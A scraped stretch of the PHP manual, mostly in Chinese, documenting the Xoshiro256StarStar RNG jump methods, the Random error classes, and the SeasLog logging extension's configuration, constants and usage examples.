The purpose of a jump is to facilitate the creation of a new Random\Engine\Xoshiro256StarStar engine from an existing seeded Random\Engine\Xoshiro256StarStar engine. The seeded engine acts as a blueprint, which can be cloned and repeatedly jumped to create 2128 non-overlapping sequences with 2128 values each.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 Random\Engine\Xoshiro256StarStar::jump() example

<?php
use Random\Engine\Xoshiro256StarStar;
use Random\Randomizer;

$blueprintRng = new Xoshiro256StarStar(0);

$fibers = [];
for ($i = 0; $i < 8; $i++) {
$fiberRng = clone $blueprintRng;
$blueprintRng->jump();

$fiber = new Fiber(static function () use ($fiberRng, $i): void {
$randomizer = new Randomizer($fiberRng);

while (true) {
Fiber::suspend();

echo "{$i}: ", $randomizer->getInt(0, 100), "\n";
}
});
$fiber->start();

$fibers[] = $fiber;
}

// Even though the fibers execute in a random order, they will print the same value
// each time, because each has its own unique instance of the RNG.
$randomizer = new Randomizer();

$fibers = $randomizer->shuffleArray($fibers);
foreach ($fibers as $fiber) {
$fiber->resume();
}

$fibers = $randomizer->shuffleArray($fibers);
foreach ($fibers as $fiber) {
$fiber->resume();
}
?>

以上示例的输出类似于：

4: 89
3: 10
2: 63
1: 75
6: 41
5: 56
0: 16
7: 60
7: 34
6: 58
1: 74
4: 63
3: 3
5: 42
2: 45
0: 86

参见

  • Random\Engine\Xoshiro256StarStar::jumpLong() - Efficiently move the engine ahead by 2^192 steps

User Contributed Notes

There are no user contributed notes for this page.


Efficiently move the engine ahead by 2^192 steps

  • ? Random\Engine\Xoshiro256StarStar::jump
  • Random\Engine\Xoshiro256StarStar::__serialize ?
  • PHP Manual
  • Random\Engine\Xoshiro256StarStar
  • Efficiently move the engine ahead by 2^192 steps

Random\Engine\Xoshiro256StarStar::jumpLong

(PHP 8 >= 8.2.0)

Random\Engine\Xoshiro256StarStar::jumpLong — Efficiently move the engine ahead by 2^192 steps

说明

public Random\Engine\Xoshiro256StarStar::jumpLong(): void

Moves the algorithm's state ahead by 2192 steps, as if Random\Engine\Xoshiro256StarStar::generate() was called 2192 times.

The purpose of a long jump is to facilitate the creation of a new Random\Engine\Xoshiro256StarStar engine from an existing seeded Random\Engine\Xoshiro256StarStar engine. The seeded engine acts as a blueprint, which can be cloned and repeatedly jumped to create 264 non-overlapping sequences with 2192 values each.

Long jumping may be combined with Random\Engine\Xoshiro256StarStar::jump()ing to further split each of the 264 sequences generated by long jumping, into 264 sequences of 2128 values each.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 Random\Engine\Xoshiro256StarStar::jumpLong() example

<?php
$blueprintRng = new \Random\Engine\Xoshiro256StarStar(0);

// Each parent engine will have its own chunk of 2**192 values.
$parent1 = clone $blueprintRng;
$blueprintRng->jumpLong();

$parent2 = clone $blueprintRng;
$blueprintRng->jumpLong();

// Each of the child engines will have its own chunk of 2**128 values
// taken from their parent engine's chunk of 2**192 values.
$child1a = clone $parent1;
$parent1->jump();
$child1b = clone $parent1;
$parent1->jump();

$child2a = clone $parent2;
$parent2->jump();
$child2b = clone $parent2;
$parent2->jump();

echo "Child 1A: ", bin2hex($child1a->generate()), "\n";
echo "Child 1B: ", bin2hex($child1b->generate()), "\n";
echo "Child 2A: ", bin2hex($child2a->generate()), "\n";
echo "Child 2B: ", bin2hex($child2b->generate()), "\n";
?>

以上示例会输出：

Child 1A: b4f275cb365fec99
Child 1B: 2cd646c8ed156237
Child 2A: eb3729a722a504e7
Child 2B: d4208dc85bdd6dc3

参见

  • Random\Engine\Xoshiro256StarStar::jump() - Efficiently move the engine ahead by 2^128 steps

User Contributed Notes

There are no user contributed notes for this page.


Serializes the Xoshiro256StarStar object

  • ? Random\Engine\Xoshiro256StarStar::jumpLong
  • Random\Engine\Xoshiro256StarStar::__unserialize ?
  • PHP Manual
  • Random\Engine\Xoshiro256StarStar
  • Serializes the Xoshiro256StarStar object

Random\Engine\Xoshiro256StarStar::__serialize

(PHP 8 >= 8.2.0)

Random\Engine\Xoshiro256StarStar::__serialize — Serializes the Xoshiro256StarStar object

说明

public Random\Engine\Xoshiro256StarStar::__serialize(): array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 Random\Engine\Xoshiro256StarStar::__serialize() example

<?php

/* ... */

?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


Deserializes the data parameter into a Xoshiro256StarStar object

  • ? Random\Engine\Xoshiro256StarStar::__serialize
  • Random\RandomError ?
  • PHP Manual
  • Random\Engine\Xoshiro256StarStar
  • Deserializes the data parameter into a Xoshiro256StarStar object

Random\Engine\Xoshiro256StarStar::__unserialize

(PHP 8 >= 8.2.0)

Random\Engine\Xoshiro256StarStar::__unserialize — Deserializes the data parameter into a Xoshiro256StarStar object

说明

public Random\Engine\Xoshiro256StarStar::__unserialize(array $data): void

Warning

本函数还未编写文档，仅有参数列表。

参数

data

返回值

没有返回值。

示例

Example #1 Random\Engine\Xoshiro256StarStar::__unserialize() example

<?php

/* ... */

?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


The Random\RandomError class

(PHP 8 >= 8.2.0)

简介

The base class for Errors that occur during generation or use of randomness.

类摘要

class Random\RandomError extends Error {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The Random\BrokenRandomEngineError class

(PHP 8 >= 8.2.0)

简介

Indicates that the used Random\Engine is broken, e.g. because it is severely biased.

类摘要

class Random\BrokenRandomEngineError extends Random\RandomError {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The Random\RandomException class

(PHP 8 >= 8.2.0)

简介

The base class for Exceptions that occur during generation or use of randomness.

类摘要

class Random\RandomException extends Exception {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


SeasLog

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • Seaslog 函数
    • seaslog_get_author — 获取 SeasLog 作者
    • seaslog_get_version — 获取 SeasLog 的版本
  • SeasLog — The SeasLog class
    • SeasLog::alert — 记录 alert 日志
    • SeasLog::analyzerCount — Get log count by level, log_path and key_word
    • SeasLog::analyzerDetail — Get log detail by level, log_path, key_word, start, limit, order
    • SeasLog::closeLoggerStream — Manually release stream flow from logger
    • SeasLog::__construct — Description
    • SeasLog::critical — 记录 critical 日志
    • SeasLog::debug — 记录 debug 日志
    • SeasLog::__destruct — Description
    • SeasLog::emergency — 记录 emergency 日志
    • SeasLog::error — 记录 error 日志
    • SeasLog::flushBuffer — 将日志缓存刷新到介质中，文件介质，或者发送到远端的 TCP/UDP 服务地址
    • SeasLog::getBasePath — 获得 SeasLog 根目录
    • SeasLog::getBuffer — 获取内存中的日志缓存数组
    • SeasLog::getBufferEnabled — Determin if buffer enabled
    • SeasLog::getDatetimeFormat — 获取 SeasLog 日期格式
    • SeasLog::getLastLogger — 获得 SeasLog 最近的一次 Logger 名称
    • SeasLog::getRequestID — 获得当前 SeasLog 中用于区分请求的 request_id
    • SeasLog::getRequestVariable — Get SeasLog request variable
    • SeasLog::info — Record info log information
    • SeasLog::log — 公共的日志记录函数
    • SeasLog::notice — 记录 notice 日志
    • SeasLog::setBasePath — 设置 SeasLog 根目录
    • SeasLog::setDatetimeFormat — 设置 SeasLog 日期格式
    • SeasLog::setLogger — 设置 SeasLog 的 Logger 名
    • SeasLog::setRequestID — 设置可以由 SeasLog 用于区分请求的 request_id
    • SeasLog::setRequestVariable — Manually set SeasLog request variable
    • SeasLog::warning — Record warning log information

User Contributed Notes

There are no user contributed notes for this page.


简介

SeasLog 是一个高效、快速、稳定的 PHP 日志扩展。

Log 日志，通常是系统或软件、应用的运行记录。 通过 Log 的分析，可以方便用户了解系统或软件、应用的运行情况； 如果你的应用 Log 足够丰富，也可以分析以往用户的操作行为、类型喜好、地域分布或其他更多信息； 如果一个应用的 Log 同时也分了多个级别，那么可以很轻易地分析得到该应用的健康状况， 及时发现问题并快速定位、解决问题，补救损失。

PHP 内置 error_log、syslog 函数功能强大且性能极好，但由于各种缺陷(error_log 无错误级别、无固定格式，syslog 不分模块、与系统日志混合)，灵活度降低了很多，不能满足应用需求。

好消息是，有不少第三方的log类库弥补了上述缺陷，如 log4php、plog、monolog 等(当然也有很多应用在项目中自己开发的 Log 类)。

那么有没有一种 Log 类库满足以下需求呢：

  • 分模块、分级别
  • 配置简单(最好是勿须配置)
  • 日志格式清晰易读
  • 应用简单、性能很棒
SeasLog 正是应此需求而生。

目前提供了什么:

  • 在 PHP 项目中便捷、规范地记录 Log
  • 可配置的默认 Log 目录与模块
  • 指定 Log 目录与获取当前配置
  • 初步的分析预警框架
  • 高效的日志缓冲、便捷的缓冲 debug
  • 遵循 PSR-3 日志接口规范
  • 自动记录错误信息
  • 自动记录异常信息
  • 连接 TCP 端口，以 RFC5424 格式发送日志
  • 连接 UDP 端口，以 RFC5424 格式发送日志
  • 支持 RequestId 区分请求
  • 支持日志模板自定义

从Github上获取更多文档 » SeasLog 文档 。

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/seaslog

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Seaslog 配置选项
名字 | 默认 | 可修改范围 | 更新日志
seaslog.appender | 1 | PHP_INI_SYSTEM |
seaslog.appender_retry | 0 | PHP_INI_ALL |
seaslog.level | 8 | PHP_INI_ALL |
seaslog.remote_host | 127.0.0.1 | PHP_INI_ALL |
seaslog.remote_port | 514 | PHP_INI_ALL |
seaslog.remote_timeout | 1 | PHP_INI_SYSTEM |
seaslog.default_basepath | /var/log/www | PHP_INI_SYSTEM |
seaslog.default_logger | default | PHP_INI_SYSTEM |
seaslog.default_template | %T | %L | %P | %Q | %t | %M | PHP_INI_SYSTEM |
seaslog.default_datetime_format | Y-m-d H:i:s | PHP_INI_SYSTEM |
seaslog.trace_error | 1 | PHP_INI_ALL |
seaslog.trace_exception | 0 | PHP_INI_SYSTEM |
seaslog.trace_notice | 0 | PHP_INI_ALL |
seaslog.trace_warning | 0 | PHP_INI_ALL |
seaslog.use_buffer | 0 | PHP_INI_SYSTEM |
seaslog.buffer_size | 0 | PHP_INI_ALL |
seaslog.buffer_disabled_in_cli | 0 | PHP_INI_SYSTEM |
seaslog.disting_type | 0 | PHP_INI_SYSTEM |
seaslog.disting_folder | 1 | PHP_INI_SYSTEM |
seaslog.disting_by_hour | 0 | PHP_INI_SYSTEM |
seaslog.recall_depth | 0 | PHP_INI_ALL |
seaslog.trim_wrap | 0 | PHP_INI_ALL |
seaslog.ignore_warning | 1 | PHP_INI_ALL |
seaslog.throw_exception | 1 | PHP_INI_ALL |

这是配置指令的简短说明。

seaslog.appender int

日志存储介质的切换选型。1File 2TCP 3UDP (默认为1)

当 seaslog.appender 被切换至 2 (TCP) 或 3 (UDP) 时， SeasLog 会将日志发送至 tcp://remote_host:remote_port 或者 udp://remote_host:remote_port 服务器。

当 SeasLog 将日志发往 TCP/UDP 时，格式遵守 RFC5424 规范。 此时 {logInfo} 受配置项中 seaslog.default_template 的影响。

The log style finally formatted such as:
<15>1 2017-08-27T01:24:59+08:00 vagrant-ubuntu-trusty test/logger[27171]: 2016-06-25 00:59:43 | DEBUG | 21423 | 599157af4e937 | 1466787583.322 | this is a neeke debug
<14>1 2017-08-27T01:24:59+08:00 vagrant-ubuntu-trusty test/logger[27171]: 2016-06-25 00:59:43 | INFO | 21423 | 599157af4e937 | 1466787583.323 | this is a info log
<13>1 2017-08-27T01:24:59+08:00 vagrant-ubuntu-trusty test/logger[27171]: 2016-06-25 00:59:43 | NOTICE | 21423 | 599157af4e937 | 1466787583.324 | this is a notice log
seaslog.appender_retry int

记录日志时的重试次数。 默认为 0 (不重试)

seaslog.buffer_disabled_in_cli int

在 CLI 模式下是否关闭 Buffer 的选项。 1-Y 0-N(默认值)

在配置中留有 buffer_disabled_in_cli 的开关项。 默认情况下，这个选项是关闭的。 如果将 buffer_disabled_in_cli 设为开启，并且运行在 CLI 时， 配置中的 seaslog.use_buffer 设置将是被忽略的，此时 Seaslog 将立即把日志信息写往存储介质。

seaslog.buffer_size int

可以通过该配置项将内存中 Buffer 的条数修改为 100 条。 配置项中 buffer_size 默认值为 0， 这意味着将不使用 Buffer。 如果 buffer_size > 0，SeasLog 将预先将日志写入内存 Buffer，并在 Buffer 的条数大于或等于该值时，写往存储介质，然后刷新内存中的 Buffer。

seaslog.default_basepath string

日志存储的默认根路径。默认值为 "/var/log/www"。

seaslog.default_datetime_format string

时间的格式。默认值为 "Y-m-d H:i:s"。

seaslog.default_logger string

日志记录的默认 Logger。默认值为 "default"。

seaslog.disting_by_hour int

是否按每小时一个记录进行区分。1-Y 0-N(默认值)

Note:

当 seaslog.disting_by_hour = 1 时，会将日志区分小时记录。 这意味着，SeasLog 将每隔一个小时创建一个文件。

seaslog.disting_folder int

是否按目录进行区分。1-Y(默认值) 0-N

Note:

当 seaslog.disting_folder = 1 时，按目录区分地使用 Logger。 这意味着，SeasLog 将为每一个 Logger 创建一个单独的目录进行区分，比如 default/20180211.log， 而当该选项关闭时，SeasLog 将使用下划线连接 Logger 与时间，比如 default_20180211.log。

seaslog.disting_type int

是否按日志级别进行区分。1-Y 0-N(默认值)

Note:

当 seaslog.disting_type = 1 时，按日志级别使用 Logger。 这意味着，SeasLog 将在创建日志文件时，使用 info/warn/error 或其他级别进行区分。

seaslog.ignore_warning int

是否忽略 SeasLog 警告。1-On(默认值) 0-Off

Note:

当 seaslog.ignore_warning = 1 时，忽略 SeasLog 自身的警告， 此时日志目录权限不足、或从远端 Server 端口不能正常响应等导致的警告，将被忽略； 而当关闭该选项时，警告将会出现。

seaslog.level int

允许日志被记录的级别。默认为 8 (全部日志)。 0-EMERGENCY 1-ALERT 2-CRITICAL 3-ERROR 4-WARNING 5-NOTICE 6-INFO 7-DEBUG 8-ALL

Note:

提示: 该配置项从 1.7.0 版本开始有所改变。 在 1.7.0 之前的版本中，越小的值将代表越多的级别日志被记录下来： 0-all 1-debug 2-info 3-notice 4-warning 5-error 6-critical 7-alert 8-emergency 在 1.7.0 之前的版本中，默认值是 0 (全部日志)。

seaslog.recall_depth int

日志函数所在的层级。这将影响变量 %F 中的 LineNo。 默认值为 0。

seaslog.remote_host string

如果要使用 TCP 或者 UDP 为存储介质，需要配置远端的 IP。默认值为 "127.0.0.1"

seaslog.remote_port int

如果要使用 TCP 或者 UDP 为存储介质，需要配置远端服务的端口号。默认值为 514

seaslog.remote_timeout int

如果要使用 TCP 或者 UDP 为存储介质，需要配置超时时间。默认值为 1 秒。

seaslog.throw_exception int

是否接受 SeasLog 抛出异常。1-On(默认值) 0-Off

Note:

当seaslog.throw_exception = 1时，接受 SeasLog 抛出自身的异常， 此时由于日志目录权限问题、或者从远端 Server 端口不能正常响应而导致的中断， 将抛出一个异常；而当关闭该选项时，将不抛出异常。

seaslog.trace_error int

自动将 PHP 的 Final Error 记录在默认 Logger中。1-Y(默认值) 0-N

seaslog.trace_exception int

自动将 PHP 的异常记录在默认 Logger中。1-Y 0-N(默认值)

seaslog.trace_notice int

自动将 PHP 的 Notice 记录在默认 Logger中。1-Y 0-N(默认值)

seaslog.trace_warning int

自动将 PHP 的 Warning 记录在默认 Logger中。1-Y 0-N(默认值)

seaslog.trim_wrap int

自动地 Trim 掉日志信息中的 \n 和 \r。1-On 0-Off(默认值)

seaslog.use_buffer int

开启使用内存中的日志 Buffer。1-Y 0-N(默认值)

Note:

当seaslog.use_buffer = 1时，开启使用内存 Buffer。 默认情况下，内存 Buffer 是关闭的。 如果 Buffer 是开启状态，SeasLog 会将日志预先记录在内存中， 并且在请求结束时、或 PHP 进程结束时（PHP RSHUTGOWN 或 PHP MSHUTDOWN）时写往存储介质。

seaslog.default_template string

默认日志模板。 默认值是 "%T | %L | %P | %Q | %t | %M".

Note:

提供了一系列的默认变量，可以在日志模板中使用，并在最终日志生成时，这些变量的占位符会被替换成对应的值。

默认的日志模板是：seaslog.default_template = "%T | %L | %P | %Q | %t | %M"， 这意味着，默认的日志格式会是：{dateTime} | {level} | {pid} | {uniqid} | {timeStamp} | {logInfo}

如果修改了日志模板，比如：seaslog.default_template = "[%T]:%L %P %Q %t %M"， 这意味着，日志的格式将会成改变为：[{dateTime}]:{level} {pid} {uniqid} {timeStamp} {logInfo}

Seaslog 内置变量表
变量名 | 描述
%L | 日志级别。
%M | 日志信息。
%T | 时间。 比如：2017-08-16 19:15:02，受配置项 seaslog.default_datetime_format 的影响。
%t | 时间戳。比如：1502882102.862，精确到毫秒。
%Q | 请求ID。用于区分每一个请求， 如果没有调用 SeasLog::setRequestId($string) 函数， 将在请求初始化的时候，使用 PHP 内置函数 static char *get_uniqid () 来生成 Unique ID。
%H | 主机名。
%P | 进程ID。
%D | 域名:端口号。比如：www.cloudwise.com:80；在 CLI 下运行时，该值为 cli。
%R | 请求 URI。比如：/app/user/signin。 在 CLI 下运行时，值为 Index Script 名称，比如：CliIndex.php。
%m | 请求 Method。比如：Get。 在 CLI 下运行时，值为 Command Script，比如：/bin/bash。
%I | 客户端IP；在 CLI 下运行时，值为 local。 取值优先级为：HTTP_X_REAL_IP > HTTP_X_FORWARDED_FOR > REMOTE_ADDR
%F | 文件名:行号。比如：UserService.php:118。
%U | 内存使用量。单位为 byte。 调用 PHP 内置方法 zend_memory_usage 得到该值。
%u | 最大内存使用峰值。单位为 byte。 调用 PHP 内置方法 zend_memory_peak_usage 得到该值。
%C | TODO Class::Action。比如 UserService::getUserInfo

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

SEASLOG_VERSION (string)
SEASLOG_AUTHOR (string)
SEASLOG_ALL (string)
"ALL"
SEASLOG_DEBUG (string)
"DEBUG" - 详细的调试信息。细粒度的信息事件。
SEASLOG_INFO (string)
"INFO" - 重要事件、强调应用程序的运行过程。
SEASLOG_NOTICE (string)
"NOTICE" - 一般重要性事件、执行过程中较INFO级别更为重要的信息。
SEASLOG_WARNING (string)
"WARNING" - 出现了非错误性的异常信息、潜在异常信息、需要关注并且需要修复。
SEASLOG_ERROR (string)
"ERROR" - 运行时出现的错误，不需要立刻采取行动，但必须记录下来以备检测。
SEASLOG_CRITICAL (string)
"CRITICAL" - 紧急情况、需要立刻进行修复、程序组件已经不可用。
SEASLOG_ALERT (string)
"ALERT" - 必级立即采取行动的紧急事件、需要立即通知相关人员紧急修复。
SEASLOG_EMERGENCY (string)
"EMERGENCY" - 系统不可用。
SEASLOG_DETAIL_ORDER_ASC (int)
1
SEASLOG_DETAIL_ORDER_DESC (int)
2
SEASLOG_APPENDER_FILE (int)
1
SEASLOG_APPENDER_TCP (int)
2
SEASLOG_APPENDER_UDP (int)
3
SEASLOG_CLOSE_LOGGER_STREAM_MOD_ALL (int)
1
SEASLOG_CLOSE_LOGGER_STREAM_MOD_ASSIGN (int)
2
SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT (int)
1
SEASLOG_REQUEST_VARIABLE_REQUEST_URI (int)
2
SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD (int)
3
SEASLOG_REQUEST_VARIABLE_CLIENT_IP (int)
4

User Contributed Notes

There are no user contributed notes for this page.


示例

Example #1 获取与设置根目录

<?php
$basePath1 = SeasLog::getBasePath();

SeasLog::setBasePath('/log/base_test');
$basePath2 = SeasLog::getBasePath();

var_dump($basePath1,$basePath2);

?>

以上示例的输出类似于：

  string(12) "/var/log/www"
  string(14) "/log/base_test"

Example #2 获取与设置 Logger

<?php
$lastLogger1 = SeasLog::getLastLogger();

SeasLog::setLogger('testModule/app1');
$lastLogger2 = SeasLog::getLastLogger();

var_dump($lastLogger1,$lastLogger2);

?>

以上示例的输出类似于：

string(7) "default"
string(15) "testModule/app1"

Example #3 快速写入日志

<?php
SeasLog::log(SEASLOG_ERROR,'this is a error test by ::log');
SeasLog::debug('this is a {userName} debug',array('{userName}' => 'neeke'));
SeasLog::info('this is a info log');
SeasLog::notice('this is a notice log');
SeasLog::warning('your {website} was down,please {action} it ASAP!',array('{website}' => 'github.com','{action}' => 'rboot'));
SeasLog::error('a error log');
SeasLog::critical('some thing was critical');
SeasLog::alert('yes this is a {messageName}',array('{messageName}' => 'alertMSG'));
SeasLog::emergency('Just now, the house next door was completely burnt out! {note}',array('{note}' => 'it`s a joke'));
?>

日志的默认模板是 seaslog.default_template = "%T | %L | %P | %Q | %t | %M". 这意味着，在默认情况下，日志的记录格式是： `{dateTime} | {level} | {pid} | {uniqid} | {timeStamp} | {logInfo}`.

以上示例的输出类似于：

seaslog.appender = 1

2014-07-27 08:53:52 | ERROR | 23625 | 599159975a9ff | 1406422432.786 | this is a error test by log
2014-07-27 08:53:52 | DEBUG | 23625 | 599159975a9ff | 1406422432.786 | this is a neeke debug
2014-07-27 08:53:52 | INFO | 23625 | 599159975a9ff | 1406422432.787 | this is a info log
2014-07-27 08:53:52 | NOTICE | 23625 | 599159975a9ff | 1406422432.787 | this is a notice log
2014-07-27 08:53:52 | WARNING | 23625 | 599159975a9ff | 1406422432.787 | your github.com was down,please rboot it ASAP!
2014-07-27 08:53:52 | ERROR | 23625 | 599159975a9ff | 1406422432.787 | a error log
2014-07-27 08:53:52 | CRITICAL | 23625 | 599159975a9ff | 1406422432.787 | some thing was critical
2014-07-27 08:53:52 | EMERGENCY | 23625 | 599159975a9ff | 1406422432.787 | Just now, the house next door was completely burnt out! it is a joke

以上示例的输出类似于：

seaslog.appender = 2 or seaslog.appender = 3

The log style finally formatted such as:
<15>1 2017-08-27T01:24:59+08:00 vagrant-ubuntu-trusty test/logger[27171]: 2016-06-25 00:59:43 | DEBUG | 21423 | 599157af4e937 | 1466787583.322 | this is a neeke debug
<14>1 2017-08-27T01:24:59+08:00 vagrant-ubuntu-trusty test/logger[27171]: 2016-06-25 00:59:43 | INFO | 21423 | 599157af4e937 | 1466787583.323 | this is a info log
<13>1 2017-08-27T01:24:59+08:00 vagrant-ubuntu-trusty test/logger[27171]: 2016-06-25 00:59:43 | NOTICE | 21423 | 599157af4e937 | 1466787583.324 | this is a notice log

Example #4 快速获取某级别下日志的数量

SeasLog 通过系统命令管道调用 `grep -wc` 获取数量，并返回给 PHP (返回数组或单个数值).

<?php
$countResult1 = SeasLog::analyzerCount();
$countResult2 = SeasLog::analyzerCount(SEASLOG_WARNING);
$countResult3 = SeasLog::analyzerCount(SEASLOG_ERROR,date('Ymd',time()));

var_dump($countResult1,$countResult2,$countResult3);

?>

以上示例的输出类似于：

array(8) {
  ["DEBUG"]=>
  int(3)
  ["INFO"]=>
  int(3)
  ["NOTICE"]=>
  int(3)
  ["WARNING"]=>
  int(3)
  ["ERROR"]=>
  int(6)
  ["CRITICAL"]=>
  int(3)
  ["ALERT"]=>
  int(3)
  ["EMERGENCY"]=>
  int(3)
}
int(7)
int(1)

Example #5 获取某级别下日志的详情

SeasLog 通过系统命令管道调用 `grep -w` 获取日志详情，并返回数组给 PHP.

<?php
$detailErrorArray = SeasLog::analyzerDetail(SEASLOG_ERROR);
var_dump($detailErrorArray);

var_dump(SeasLog::analyzerDetail(SEASLOG_ERROR,date('Ymd',time())));
?>

以上示例的输出类似于：

array(6) {
  [0] =>
  string(83) "2014-02-24 00:14:02 | ERROR | 8568 | 599157af4e937 | 1393172042.717 | test error 3 "
  [1] =>
  string(83) "2014-02-24 00:14:04 | ERROR | 8594 | 5991576584446 | 1393172044.104 | test error 3 "
  [2] =>
  string(83) "2014-02-24 00:14:04 | ERROR | 8620 | 1502697015147 | 1393172044.862 | test error 3 "
  [3] =>
  string(83) "2014-02-24 00:14:05 | ERROR | 8646 | 599159975a9ff | 1393172045.989 | test error 3 "
  [4] =>
  string(83) "2014-02-24 00:14:07 | ERROR | 8672 | 599159986ec28 | 1393172047.882 | test error 3 "
  [5] =>
  string(83) "2014-02-24 00:14:08 | ERROR | 8698 | 5991599981cec | 1393172048.736 | test error 3 "
}

array(2) {
  [0] =>
  string(83) "2014-02-24 00:14:02 | ERROR | 8568 | 599157af4e937 | 1393172042.717 | test error 3 "
  [1] =>
  string(83) "2014-02-24 00:14:04 | ERROR | 8594 | 5991576584446 | 1393172044.104 | test error 3 "
}

User Contributed Notes

There are no user contributed notes for this page.


Seaslog 函数

Table of Contents

  • seaslog_get_author — 获取 SeasLog 作者
  • seaslog_get_version — 获取 SeasLog 的版本

User Contributed Notes

There are no user contributed notes for this page.


获取 SeasLog 作者

  • ? Seaslog 函数
  • seaslog_get_version ?
  • PHP Manual
  • Seaslog 函数
  • 获取 SeasLog 作者

seaslog_get_author

(PECL seaslog >=1.0.0)

seaslog_get_author — 获取 SeasLog 作者

说明

seaslog_get_author(): string

参数

此函数没有参数。

返回值

返回一个 SeasLog 作者的字符串

示例

Example #1 seaslog_get_author() 示例

<?php

var_dump(seaslog_get_author());

?>

以上示例的输出类似于：

string(29) "Chitao.Gao  [ neeke@php.net ]"

User Contributed Notes

There are no user contributed notes for this page.


获取 SeasLog 的版本

  • ? seaslog_get_author
  • SeasLog ?
  • PHP Manual
  • Seaslog 函数
  • 获取 SeasLog 的版本

seaslog_get_version

(PECL seaslog >=1.0.0)

seaslog_get_version — 获取 SeasLog 的版本

说明

seaslog_get_version(): string

参数

此函数没有参数。

返回值

返回一个 SeasLog 版本号的字符串

示例

Example #1 seaslog_get_version() 示例

<?php

var_dump(seaslog_get_version());

?>

以上示例的输出类似于：

string(5) "1.8.4"

User Contributed Notes

There are no user contributed notes for this page.


The SeasLog class

(PECL seaslog >=1.0.0)

简介

类摘要

class SeasLog {
/* 方法 */
public static alert(string $message, array $content = ?, string $logger = ?): bool
public static analyzerCount(string $level, string $log_path = ?, string $key_word = ?): mixed
public static analyzerDetail(
string $level,
string $log_path = ?,
string $key_word = ?,
int $start = ?,
int $limit = ?,
int $order = ?
): mixed
public static closeLoggerStream(int $model, string $logger): bool
public static critical(string $message, array $content = ?, string $logger = ?): bool
public static debug(string $message, array $content = ?, string $logger = ?): bool
public __destruct()
public static emergency(string $message, array $content = ?, string $logger = ?): bool
public static error(string $message, array $content = ?, string $logger = ?): bool
public static flushBuffer(): bool
public static Seaslog::getBasePath(): string
public static getBuffer(): array
public static getBufferEnabled(): bool
public static getDatetimeFormat(): string
public static getLastLogger(): string
public static getRequestID(): string
public static getRequestVariable(int $key): bool
public static info(string $message, array $content = ?, string $logger = ?): bool
public static log(
string $level,
string $message = ?,
array $content = ?,
string $logger = ?
): bool
public static notice(string $message, array $content = ?, string $logger = ?): bool
public static setBasePath(string $base_path): bool
public static setDatetimeFormat(string $format): bool
public static setLogger(string $logger): bool
public static setRequestID(string $request_id): bool
public static setRequestVariable(int $key, string $value): bool
public static warning(string $message, array $content = ?, string $logger = ?): bool
}

Table of Contents

  • SeasLog::alert — 记录 alert 日志
  • SeasLog::analyzerCount — Get log count by level, log_path and key_word
  • SeasLog::analyzerDetail — Get log detail by level, log_path, key_word, start, limit, order
  • SeasLog::closeLoggerStream — Manually release stream flow from logger
  • SeasLog::__construct — Description
  • SeasLog::critical — 记录 critical 日志
  • SeasLog::debug — 记录 debug 日志
  • SeasLog::__destruct — Description
  • SeasLog::emergency — 记录 emergency 日志
  • SeasLog::error — 记录 error 日志
  • SeasLog::flushBuffer — 将日志缓存刷新到介质中，文件介质，或者发送到远端的 TCP/UDP 服务地址
  • SeasLog::getBasePath — 获得 SeasLog 根目录
  • SeasLog::getBuffer — 获取内存中的日志缓存数组
  • SeasLog::getBufferEnabled — Determin if buffer enabled
  • SeasLog::getDatetimeFormat — 获取 SeasLog 日期格式
  • SeasLog::getLastLogger — 获得 SeasLog 最近的一次 Logger 名称
  • SeasLog::getRequestID — 获得当前 SeasLog 中用于区分请求的 request_id
  • SeasLog::getRequestVariable — Get SeasLog request variable
  • SeasLog::info — Record info log information
  • SeasLog::log — 公共的日志记录函数
  • SeasLog::notice — 记录 notice 日志
  • SeasLog::setBasePath — 设置 SeasLog 根目录
  • SeasLog::setDatetimeFormat — 设置 SeasLog 日期格式
  • SeasLog::setLogger — 设置 SeasLog 的 Logger 名
  • SeasLog::setRequestID — 设置可以由 SeasLog 用于区分请求的 request_id
